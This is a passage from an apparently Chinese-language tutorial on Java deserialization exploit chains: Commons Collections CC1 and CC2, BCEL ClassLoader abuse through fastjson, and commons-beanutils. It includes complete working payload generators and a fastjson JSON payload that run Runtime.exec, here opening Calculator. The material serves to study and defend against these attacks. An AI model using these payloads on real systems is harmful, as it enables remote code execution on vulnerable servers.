- public void morning(String name) {
- System.out.println("Good morning, " + name);
- }
- }
- Hello hello = new HelloWorld();
- hello.morning("Bob");
-
- //动态代理
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- import java.lang.reflect.Proxy;
- public class Main {
- public static void main(String[] args) {
- InvocationHandler handler = new InvocationHandler() {
- @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- System.out.println(method);
- if (method.getName().equals("morning")) {
- System.out.println("Good morning, " + args[0]);
- }
- return null;
- }
- };
- Hello hello = (Hello) Proxy.newProxyInstance(
- Hello.class.getClassLoader(), // 传入ClassLoader
- new Class[] { Hello.class }, // 传入要实现的接口
- handler); // 传入处理调用方法的InvocationHandler
- hello.morning("Bob");
- }
- }
-
- interface Hello {
- void morning(String name);
- }
该类中有个invoke函数:
- //invoke函数
- Object var6 = this.memberValues.get(var4);
- //memberValues的定义
- private final Map<String, Object> memberValues;
再来看一下该类的readobject函数:
- private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
- var1.defaultReadObject();
- AnnotationType var2 = null;
-
- try {
- var2 = AnnotationType.getInstance(this.type);
- } catch (IllegalArgumentException var9) {
- throw new InvalidObjectException("Non-annotation type in annotation serial stream");
- }
-
- Map var3 = var2.memberTypes();
- Iterator var4 = this.memberValues.entrySet().iterator();
-
- while(var4.hasNext()) {
- Entry var5 = (Entry)var4.next();
- String var6 = (String)var5.getKey();
- Class var7 = (Class)var3.get(var6);
- if (var7 != null) {
- Object var8 = var5.getValue();
- if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
- var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
- }
- }
- }
- }
其实payload编写的过程主要是对Java特性要比较熟悉,例如memberValues是Map类型,Map有那些操作呢?插入map.put(k,v)、获取map.get(k)、移除map.remove(key),对Map进行遍历时可采用四种方式:
- //1
- for (String key : map.keySet())
- //2
- for (Map.Entry<String, String> entry : map.entrySet())
- //3
- Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();
- while (it.hasNext()) {
- Map.Entry<String, String> entry = it.next();
- }
- //4
- for (String v : map.values())
Entry是什么呢?它是Map中采用的一个内部类来表示一个映射项,也就是说每一个键值对就是一个Entry。
entrySet是返回Map中所包含映射的Set视图。Set中的每个元素都是一个Map.Entry对象,可以使用getKey和getValue方法。keySet则是返回键的视图。
附上简版payload:
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.annotation.Retention;
- import java.lang.reflect.*;
- import java.util.HashMap;
- import java.util.HashSet;
- import java.util.Map;
-
- public class CC1_test {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
- Transformer transformerChain = new ChainedTransformer(
- new Transformer[]{ new ConstantTransformer(1) });
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
- new ConstantTransformer(1)
- };
- Map innerMap = new HashMap();
-
- Map outerMap = LazyMap.decorate(innerMap,transformerChain);
- Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
- construct.setAccessible(true);
- InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
-
- Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
-
- handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);
-
- Field field=transformerChain.getClass().getDeclaredField("iTransformers");
- field.setAccessible(true);
- field.set(transformerChain,Transformer);
-
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(handler);
- oos.close();
-
- System.out.println(baos);
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
- Object o = (Object) ois.readObject();
- }
- }
十、BCEL利用链分析
BCEL,全名Apache Commons BCEL,一看也是Commons家族的,提供了一系列用于分析、创建、修改Java Class文件的API,位于原生JDK中,com.sun.org.apache.bcel。离别歌写的文章很清楚https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。这个利用方式目前只存在于低于java 8u 251的版本中。
在JVM的执行过程中,通过ClassLoader将类加载到内存。JDK中内置了很多ClassLoader,例如BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLCLassLoader等。它们之间的委派模式级别从低到高。ClassLoader中有几个重要的方法,loadClass(加载全限定类名)、fineClass(搜索类的位置)、defineClass(将字节码转换为JVM的java.lang.class对象)等。
在反射机制中经常看到用Class.forName来动态加载指定的类,从而返回一个CLass对象,如果此时没有指定ClassLoader,那么就会使用BootstrapClassLoader来加载。所以Class.forName本质上也是调用ClassLoader来实现的。但是Class.forName与ClassLoader.loadClass存在如下的区别:
- forName() 默认会对类进行初始化,会执行类中的 static 代码块
- ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中
BCEL中也有个ClassLoader:com.sun.org.apache.bcel.internal.util.ClassLoader。该类重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否以$$BCEL$$开头,如果是就对这个后面的字符串进行decode。
下面是个用BCEL的demo,首先创建一个恶意类Evil,将Evil生成BCEL形式的字节码,然后用该字节码来创建对象,最终调用计算器。
- public class Evil {
- static {
- try {
- Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
- } catch (Exception e) {}
- }
- }
- import com.sun.org.apache.bcel.internal.Repository;
- import com.sun.org.apache.bcel.internal.classfile.JavaClass;
- import com.sun.org.apache.bcel.internal.classfile.Utility;
- import com.sun.org.apache.bcel.internal.util.ClassLoader;
- import java.io.IOException;
-
- public class BCEL_Test {
- public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
- JavaClass javaClass= Repository.lookupClass(Evil.class);
- String code= Utility.encode(javaClass.getBytes(),true);
- System.out.println(code);
-
- new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
- }
- }
对于上述最后这一步加载,在fastjson中常用Class.forName("xxx", true, new ClassLoader),此时的ClassLoader是bcel包中的而非java.lang.ClassLoader
在fastjson中,应用BasicDataSource的payload会调用Class.forName方法,并且可以自定义ClassLoader类型,demo如下:
- import com.alibaba.fastjson.JSON;
- import com.sun.org.apache.bcel.internal.Repository;
- import com.sun.org.apache.bcel.internal.classfile.JavaClass;
- import com.sun.org.apache.bcel.internal.classfile.Utility;
-
- import java.io.IOException;
-
- public class fastjson_test {
- public static void main(String[] args) throws IOException {
- JavaClass javaClass= Repository.lookupClass(Evil.class);
- String code= Utility.encode(javaClass.getBytes(),true);
-
- String poc= "{\n"+
- "{\n"+
- " \"aaa\": {\n"+
- " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+
- " \"driverClassLoader\": {\n"+
- " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+
- " },\n"+
- " \"driverClassName\": \"$$BCEL$$"+code+"\"\n"+
- "}\n"+
- "}: \"bbb\"\n" +
- "}";
- JSON.parse(poc);
- }
- }
最后附上纯净的payload:
- {
- {
- "aaa": {
- "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
- "driverClassLoader": {
- "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
- },
- "driverClassName": "$$BCEL$$..."
- }
- }: "bbb"
- }
十一、CC2利用链分析
CC2的利用链如下,用的是PriorityQueue。
- Gadget chain:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- ...
- TransformingComparator.compare()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
PriorityQueue,顾名思义,是一个优先级队列,按照队列中元素的自然顺序排列,或者根据构造队列时提供的Comparator进行排序。队列中不能有null元素,也不能插入不可比较对象(即,没有实现Comparable接口的对象)。另外,PriorityQueue是无界的,如果不断向其中添加元素,容器就会无限扩充。队列的头元素指向排序规则最小的元素。这也体现了优先队列的作用:每次取出的元素都是队列中权值最小的。
PriorityQueue是通过二叉小顶堆实现的,可以用一颗完全二叉树表示。所谓小顶堆就是任意一个非叶子节点的权值,都不大于其左右节点的权值。学过基础算法的人都了解,队列包含的基础操作有:创建队列;判断队列是否为空;插入、删元素;这些也被包含在优先队列函数中。以插入元素为例:

插入元素4后,会发现它不满足二叉小顶堆的定义,即9比4大,不是个小顶堆,那么就需要用siftUp函数进行调整。插入的时候会调用扩容函数grow。
另外提一句,add(E e)和offer(E e)的语义相同,都是向优先队列中插入元素,只是Queue接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回false。同样获取队列头元素(但不删除)也有两种方法:element()和peek(),二者的异同和add与offer类似。同样是获取队列头元素,但是同时删除头元素的方法则是:remove和poll
关于PriorityQueue的算法问题,可以看下面文章的图,很清楚
https://www.cnblogs.com/CarpenterLee/p/5488070.html
然后是InvokerTransformer上层选取的TransformingComparator,从CC6的payload来看,TransformingComparator必然替代了ChainTransformer的功能。具体来看一下该类的内容:
- public TransformingComparator(Transformer super I, ? extends O> transformer, Comparator
decorated) { - this.decorated = decorated;
- this.transformer = transformer;
- }
-
- public int compare(I obj1, I obj2) {
- O value1 = this.transformer.transform(obj1);
- O value2 = this.transformer.transform(obj2);
- return this.decorated.compare(value1, value2);
- }
类中的compare函数,调用了transformer对象的transform函数。这些是给出的Gadget chain中的内容,那么ysoserial中的payload又是什么样子的呢?
首先提到了TemplatesImpl类。该类位于com.sun.org.apache.xalan.internal.xsltc.trax
xalan处理器主要用于XML转换,它主要的类如下:
- TransformerFactory:转换器工厂,负责生产转换器;
- Transformer:XSLT转换器,负责加载XSLT样式单文档,并执行转换;
- Source:代表源XML文档的接口,其常用实现类有DOMSource、StreamSource、SAXSource;
- Result:代表转换结果的文档接口,其常用实现类有DOMResult、StreamResult、SAXResult。
TemplatesImpl类
defineTransletClasses函数有一行如下的代码,获取_bytecodes[i]中的类,传递给_class[i]:
_class[i] = loader.defineClass(_bytecodes[i]);
getTransletInstance()函数则对_class[]类进行了实例化,创建了类对象,但有个限制是类对象是AbstractTranslet类型。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
那么接下来的问题就是如何调用getTransletInstance方法。
newTransformer()函数可以对getTransletInstance方法进行调用,POC中利用InvokerTransformer去调用newTransformer。
- transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
- _indentNumber, _tfactory);
后续,TransformingComparator的compare方法会去调用传入参数的transform方法,而compare方法的调用则依靠PriorityQueue类来实现了。
PriorityQueue类siftDownUsingComparator函数执行了compare函数,由comparator来调用。而siftDown函数则在comparator不为空的前提下对siftDownUsingComparator函数进行调用,heapify又可以对siftDown进行循环调用。PriorityQueue类的readObject函数自动会调用heapify函数,这一步简直完美。
- //PriorityQueue类
- //siftDownUsingComparator
- if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
-
- private final Comparator super E> comparator;
-
- private void siftDown(int k, E x) {
- if (comparator != null)
- siftDownUsingComparator(k, x);
- else
- siftDownComparable(k, x);
- }
-
- private void heapify() {
- for (int i = (size >>> 1) - 1; i >= 0; i--)
- siftDown(i, (E) queue[i]);
- }
-
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- // Read in size, and any hidden stuff
- s.defaultReadObject();
-
- // Read in (and discard) array length
- s.readInt();
-
- queue = new Object[size];
-
- // Read in all elements.
- for (int i = 0; i < size; i++)
- queue[i] = s.readObject();
-
- // Elements are guaranteed to be in "proper order", but the
- // spec has never explained what that might be.
- heapify();
- }
整个payload链条补全大致如下:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- siftDownUsingComparator()
- TransformingComparator.compare()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- TemplatesImpl.TransletClassLoader.defineClass()
最后还要提一下Javassist,一个Java字节码类库。Javaassit.CtClass 表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件,ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。
ClassPool常用方法:
- getDefault : 创建ClassPool;
- appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
- toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
- get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑
- makeClass:定义一个新的类(在知道类完整路径和名字的情况下)
生成类对象的方式:
- ClassPool pool = ClassPool.getDefault();
- // 设置类路径
- pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
- CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
- Object person = ctClass.toClass().newInstance();
ysoserial的CC2 payload借助javaassist来生成一个继承自AbstractTranslet的恶意类。AbstractTranslet在上文提到了,TemplatesImpl获取_bytecodes[i]中的类,该类在getTransletInstance函数中被限制为AbstractTranslet类型。
最后附上裸版payload,便于新手阅读。
- import javassist.*;
- import org.apache.commons.collections4.comparators.TransformingComparator;
- import org.apache.commons.collections4.functors.InvokerTransformer;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationTargetException;
- import java.util.PriorityQueue;
-
- public class CC2_test{
- public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
-
- ClassPool classPool=ClassPool.getDefault();//返回默认的类池
- classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
- CtClass payload=classPool.makeClass("CommonsCollections22");//创建一个新的public类
- payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22类的父类为AbstractTranslet
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
-
- byte[] bytes=payload.toBytecode();//转换为byte数组
-
- Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
- Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
- field.setAccessible(true);//暴力反射
- field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
-
- Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
- field1.setAccessible(true);//暴力反射
- field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
-
- InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
- TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
- PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
- queue.add(1);//添加数字1插入此优先级队列
- queue.add(1);//添加数字1插入此优先级队列
-
- Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
- field2.setAccessible(true);//暴力反射
- field2.set(queue,comparator);//设置queue的comparator字段值为comparator
-
- Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
- field3.setAccessible(true);//暴力反射
- field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
-
- ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
- outputStream.writeObject(queue);
- outputStream.close();
-
- ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
- inputStream.readObject();
- }
- }
十二、commons-beanutils
对比一下ysoserial工具中commons-beanutils和commons-collections2的payload就会发现二者最大的区别如下:
- //commons-collections2
- final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
- final PriorityQueue
queue = new PriorityQueue(2,new TransformingComparator(transformer)); -
- //commons-beanutils
- final BeanComparator comparator = new BeanComparator("lowestSetBit");
- final PriorityQueue
queue = new PriorityQueue(2, comparator);
也就是说用BeanComparator替代了InvokerTransformer。BeanComparator来自commons-beanutils包,该jar包主要提供对JavaBean进行各式操作,例如直接get/set一个属性值。
BeanComparator类中有compare函数:
- //BeanComparator类
- //compare
- if (this.property == null) {
- return this.internalCompare(o1, o2);
- } else {
- try {
- Object value1 = PropertyUtils.getProperty(o1, this.property);
- Object value2 = PropertyUtils.getProperty(o2, this.property);
- return this.internalCompare(value1, value2);
- }
- //internalCompare
- private int internalCompare(Object val1, Object val2) {
- Comparator c = this.comparator;
- return c.compare(val1, val2);
- }
简版payload:
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import org.apache.commons.beanutils.BeanComparator;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationTargetException;
- import java.math.BigInteger;
- import java.util.PriorityQueue;
-
- public class Beanutil_test {
- public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
-
- ClassPool classPool=ClassPool.getDefault();
- classPool.appendClassPath(AbstractTranslet);
- CtClass payload=classPool.makeClass("CommonsCollections22");
- payload.setSuperclass(classPool.get(AbstractTranslet));
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
-
- byte[] bytes=payload.toBytecode();
-
- Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
- Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
- field.setAccessible(true);
- field.set(templatesImpl,new byte[][]{bytes});
-
- Field field1=templatesImpl.getClass().getDeclaredField("_name");
- field1.setAccessible(true);
- field1.set(templatesImpl,"test");
-
- BeanComparator comparator = new BeanComparator("lowestSetBit");
- PriorityQueue
queue = new PriorityQueue(2, comparator); - queue.add(new BigInteger("1"));
- queue.add(new BigInteger("1"));
-
-
- Field field2=comparator.getClass().getDeclaredField("property");
- field2.setAccessible(true);
- field2.set(comparator,"outputProperties");
-
- Field field4=queue.getClass().getDeclaredField("queue");
- field4.setAccessible(true);
- Object[] queueArray=(Object[])field4.get(queue);
- queueArray[0] = templatesImpl;
- queueArray[1] = templatesImpl;
-
- ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
- outputStream.writeObject(queue);
- outputStream.close();
-
- ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
- inputStream.readObject();
- }
- }